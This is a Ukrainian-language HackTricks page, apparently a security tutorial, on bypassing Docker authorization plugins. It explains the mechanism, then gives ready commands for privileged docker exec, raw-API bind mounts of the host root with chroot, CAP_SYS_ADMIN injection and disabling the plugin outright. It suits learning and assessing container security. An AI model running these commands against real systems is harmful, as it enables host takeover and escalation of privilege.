Плагіни авторизації під час виконання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

Огляд

Плагіни авторизації під час виконання — це додатковий шар політики, який вирішує, чи може виконавець виконати певну дію демона. Docker — класичний приклад. За замовчуванням будь-хто, хто може звертатися до Docker daemon, фактично отримує широкий контроль над ним. Плагіни авторизації намагаються звузити цю модель, аналізуючи автентифікований користувацький ідентифікатор та запитувану API-операцію, після чого дозволяють або відхиляють запит відповідно до політики.

Ця тема заслуговує на окрему сторінку, оскільки вона змінює модель експлуатації, коли атака вже має доступ до Docker API або до користувача в групі docker. В таких середовищах питання вже не лише «чи можу я дістатися до демона?», але й «чи обмежено демона шаром авторизації, і якщо так — чи можна обійти цей шар через необроблені endpoints, слабкий JSON-парсинг або права керування плагінами?»

Механізм роботи

Коли запит надходить до Docker daemon, підсистема авторизації може передати контекст запиту одному або кільком встановленим плагінам. Плагін отримує інформацію про автентифікований ідентифікатор користувача, деталі запиту, вибрані заголовки та частини тіла запиту або відповіді, коли тип вмісту підходить. Можна ланцюжити кілька плагінів, і доступ дозволяється лише якщо всі плагіни дозволяють запит.

Ця модель здається сильною, але її безпека повністю залежить від того, наскільки ретельно автор політики зрозумів API. Плагін, який блокує docker run --privileged, але ігнорує docker exec, пропускає альтернативні JSON-ключі на кшталт верхнього рівня Binds, або дозволяє адміністрування плагінів, може створити хибне відчуття обмеження, залишаючи при цьому прямі шляхи ескалації привілеїв відкритими.

Типові цілі плагінів

Важливі області для перегляду політик:

• кінцеві точки створення контейнерів
• поля HostConfig, такі як Binds, Mounts, Privileged, CapAdd, PidMode та опції спільного використання неймспейсів
• поведінка docker exec
• endpoints керування плагінами
• будь-яка кінцева точка, що може опосередковано запустити дії під час виконання поза передбаченою моделлю політики

Історично прикладами були плагін Twistlock authz та прості навчальні плагіни на кшталт authobot, які робили цю модель легкою для вивчення, оскільки їхні файли політик і шляхи виконання коду показували, як фактично реалізовано відповідність кінцевих точок діям. Для оцінки важливий висновок: автор політики повинен розуміти повну поверхню API, а не лише найпомітніші CLI-команди.

Зловживання

Перше завдання — з’ясувати, що насправді блокується. Якщо демон відхиляє дію, помилка часто leaks ім’я плагіна, що допомагає ідентифікувати контроль, який використовується:

docker ps
docker run --rm -it --privileged ubuntu:24.04 bash
docker plugin ls

Якщо вам потрібне ширше endpoint profiling, інструменти, такі як docker_auth_profiler, корисні, оскільки вони автоматизують інакше повторювану задачу перевірки того, які API routes і JSON structures насправді дозволені plugin.

Якщо середовище використовує custom plugin і ви можете взаємодіяти з API, перелічіть, які поля об’єктів насправді фільтруються:

docker version
docker inspect <container> 2>/dev/null | head
curl --unix-socket /var/run/docker.sock http:/version
curl --unix-socket /var/run/docker.sock http:/v1.41/containers/json

Ці перевірки важливі, тому що багато помилок авторизації специфічні для полів, а не для загальної концепції. plugin може відхилити шаблон CLI, не блокуючи повністю еквівалентну структуру API.

Повний приклад: docker exec додає привілеї після створення контейнера

Політика, яка блокує створення привілейованих контейнерів, але дозволяє створення неконфайнованих контейнерів плюс docker exec, все ще може бути обійдена:

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu:24.04 sleep infinity
docker ps
docker exec -it --privileged <container_id> bash

Якщо демон прийме другий крок, користувач відновить привілейований інтерактивний процес всередині контейнера, який автор політики вважав обмеженим.

Повний приклад: Bind Mount Through Raw API

Деякі неправильно налаштовані політики перевіряють лише одну JSON-форму. Якщо bind mount кореневої файлової системи не блокується послідовно, хост все ще можна змонтувати:

docker version
curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:24.04","Binds":["/:/host"]}' \
http:/v1.41/containers/create
docker start <container_id>
docker exec -it <container_id> chroot /host /bin/bash

Та сама ідея також може з’явитися під HostConfig:

curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:24.04","HostConfig":{"Binds":["/:/host"]}}' \
http:/v1.41/containers/create

Наслідком є повний host filesystem escape. Цікава деталь: обхід виникає через неповне охоплення політики, а не через kernel bug.

Повний приклад: Неперевірений Capability Attribute

Якщо політика забуває відфільтрувати capability-related attribute, атакуючий може створити container, який відновлює небезпечну capability:

curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:24.04","HostConfig":{"CapAdd":["SYS_ADMIN"]}}' \
http:/v1.41/containers/create
docker start <container_id>
docker exec -it <container_id> bash
capsh --print

Як тільки присутній CAP_SYS_ADMIN або подібно сильний capability, багато breakout techniques, описаних у capabilities.md та privileged-containers.md, стають доступними.

Повний приклад: Disabling The Plugin

Якщо дозволені plugin-management операції, найчистіший bypass може полягати у повному відключенні контролю:

docker plugin ls
docker plugin disable <plugin_name>
docker run --rm -it --privileged -v /:/host ubuntu:24.04 chroot /host /bin/bash
docker plugin enable <plugin_name>

Це збій політики на рівні контрольної площини. Шар авторизації існує, але користувач, якого він мав обмежити, все ще має дозвіл відключити його.

Перевірки

Ці команди спрямовані на з’ясування, чи існує шар політики та чи є він повним або поверхневим.

docker plugin ls
docker info 2>/dev/null | grep -i authorization
docker run --rm -it --privileged ubuntu:24.04 bash
curl --unix-socket /var/run/docker.sock http:/v1.41/plugins 2>/dev/null

Що тут цікаво:

• Повідомлення про відмову, що містять ім’я плагіна, підтверджують наявність шару авторизації і часто розкривають точну реалізацію.
• Список плагінів, видимий для атакуючого, може бути достатнім, щоб з’ясувати, чи можливі операції відключення або переналаштування.
• Політику, яка блокує лише очевидні CLI-дії, але не блокує сирі API-запити, слід вважати такою, що може бути обійдена, поки не буде доведено інше.

Налаштування середовища виконання за замовчуванням

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.